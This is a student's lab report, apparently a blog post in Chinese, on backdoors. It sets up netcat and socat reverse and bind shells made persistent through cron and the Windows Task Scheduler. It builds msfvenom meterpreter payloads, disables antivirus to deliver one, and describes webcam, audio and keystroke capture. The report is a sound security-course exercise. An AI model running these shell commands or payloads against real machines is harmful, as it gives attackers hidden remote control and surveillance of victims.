20192219任雨田 后门原理与实践实验报告

后门原理与实践

实验基础

本次实验需要我们掌握后门的基础知识,学习使用netcat实现Windows,Linux之间的后门连接,学习使用Metaspolit的msfvenom指令生成简单的后门程序,学会MSF POST模块的应用。
后门概念
后门就是不经过正常认证流程而访问系统的通道。

哪里有后门呢?
-编译器留后门
-操作系统留后门
-最常见的当然还是应用程序中留后门
-还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

我们接下来讲得是一个相对狭义一点的后门的概念:
-特指潜伏于操作系统中专门做后门的一个程序,
-“坏人”可以连接这个程序
-远程执行各种指令
-概念和木马有重叠

常用后门工具
1.NC或netcat

又名nc,ncat
http://nc110.sourceforge.net/
http://netcat.sourceforge.net/.
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
Windows: 课程主页附件中下载ncat.rar解压即可使用。
Mac: 系统自带,"man nc",查看其使用说明。

2.Meterpreter
——后门就是一个程序。
——传统的理解是:有人编写一个后门程序,大家拿来用。
——后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
-基本功能(基本的连接、执行指令),
-扩展功能(如搜集用户信息、安装服务等功能)
-编码模式,
-运行平台,
-以及运行参数
全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

典型的平台就包括有:
intersect
Metaspolit的msfvenom指令
Veil-evasion

实验内容

(1)使用netcat获取主机操作Shell,cron启动

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

实验过程

一、使用netcat获取主机操作Shell,cron启动 首先查看Windows主机和虚拟机kali的IP地址


如图可知分别为192.168.1.107和192.168.80.129

然后开始用netcat来在Windows中获取Linux shell,主机需开启监听(打开cmd输入ncat -l -p 2219),这里开放的端口为2219(自己的学号后四位),kali反弹连接主机(nc 192.168.1.107 2219 -e /bin/sh),主机获取Linux shell成功(执行了ls和exit命令)

以上为目标机手动建立了反弹式连接来被获取shell,接下来要启动cron来让主机获取shell,kali中输入crontab -e建立一个新的任务计划,并选择第二个也就是vim编辑器来编辑,再最后一行插入19 * * * * /bin/netcat 192.168.211.1 2219 -e /bin/sh,即在每个小时的第19分钟反弹连接Windows主机的2219端口

到了19分时,Windows主机开始监听2219端口,成功获取到目标shell

二、使用socat获取主机操作Shell,任务计划启动
现在我们要通过使用socat从kali中获取Windows shell,首先打开Windows中的计算机管理中的任务计划程序,然后创建任务,名称设置为20192219exp2,添加一个工作站锁定时的触发器,新建执行socat.exe程序的操作,并将参数设置为tcp-listen:2219 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口2219,同时把cmd.exe的stderr重定向。

创建任务后,锁下屏,再打开,进入kali中监听,socat - tcp:192.168.1.107:2219,成功获取到Windows shell

三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

现在通过在kali上使用MSF生成后门程序来传送给Windows主机,让Windows主机运行程序时就能从kali中获取其shell。首先是生成后门程序(msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=2219 -f exe > 20192219_backdoor.exe),然后需要将这个程序发送给Windows主机,这就需要目标机开启监听(ncat -lv 2219 >20192219_backdoor.exe),然后再在kali中发送(nc 192.168.1.107 2219 < 20192219_backdoor.exe ),在发送前我们要先把windows安全中心中的杀毒功能关闭,假如该程序被杀了也可以在“保护历史记录”中还原,发送成功的话我们可以在c盘的用户文件夹中找到该程序。

接下来我们在kali中打开msf控制台进行配置,配置过程如下图所示

配置完后输入exploit进行监听,然后再Windows中点击执行该程序,此时kali中获取到了Windows shell

四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

获取目标主机音频:

获取目标主机摄像头:

获取目标击键记录

以上内容如下:

五、使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在参数说明中提到,-p使用的为有效载荷,由于我们是在x86下的linux系统,所以要改为linux/x86/meterpreter/reverse_tcp。-x是可执行文件模板,shellcode会写入这个可执行文件中LHOST、LPORT是ip地址和端口,我们把它改为192.168.80.129和2219-f是生成文件的类型,我们把它改为二进制可执行文件elf

所以输入的payload如下:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=2219 -x pwn20192219ryt -f elf > 20192219pwn(这里还要注意pwn20192219ryt文件在当前文件夹下,生成的20192219pwn也在当前文件夹下)

然后打开msf控制台,配置后使用exploit监听,再用另一个终端执行生成的文件20192219pwn(这里有可能提醒没有权限运行,要修改为可执行),成功获取了shell

基础问题回答

-例举你能想到的一个后门进入到你系统中的可能方式?

网上下载一个盗版游戏;在非官方网站上更新软件。

-例举你知道的后门如何启动起来(win及linux)的方式?

win:通过任务计划程序可以以不同的时机启动,Linux:通过crontab任务计划启动

-Meterpreter有哪些给你映像深刻的功能?

能够较为简单地构造出一个简易后门程序,方便初学者学习使用。

-如何发现自己有系统有没有被安装后门?

可以通过Windows defender或者一些杀毒软件来查杀后门程序

实验总结与体会

通过这次实验我初次理解了后门的原理并应用在了自己的电脑主机和虚拟机上,同时我也更加意识到了在日常生活中使用的个人电脑可以暴露出非常大的安全隐患,仅仅是后门这一个手段就可以轻而易举地对我们电脑的安全产生巨大的威胁,这让我对使用电子设备的安全意识也有了明显地提高,以后在网上下载东西时要更加小心谨慎,也不要去点击一些花里胡哨的弹窗、广告之类的东西,还要及时更新自己的系统,打好补丁,定期查杀木马、病毒。在这次实验中,我学会了netcat和Meterpreter这两个后门工具的基本使用方法,并实现了植入后门操作,虽然方式很简单,在现在正常的计算机系统下基本很难起到效果,但是这个实现的过程还是非常有趣的,特别是通过kali控制了Windows的shell并实现拍照、录音这样贴近现实功能让我印象深刻,能够引发起我对此的学习兴趣。总的来说,这次实验不仅让我深入了解了后门的原理并且也让我对linux和Windows的操作有了进一步的提升,使我受益匪浅。

posted @ 2022-03-28 21:41  Rytt  阅读(273)  评论(0编辑  收藏  举报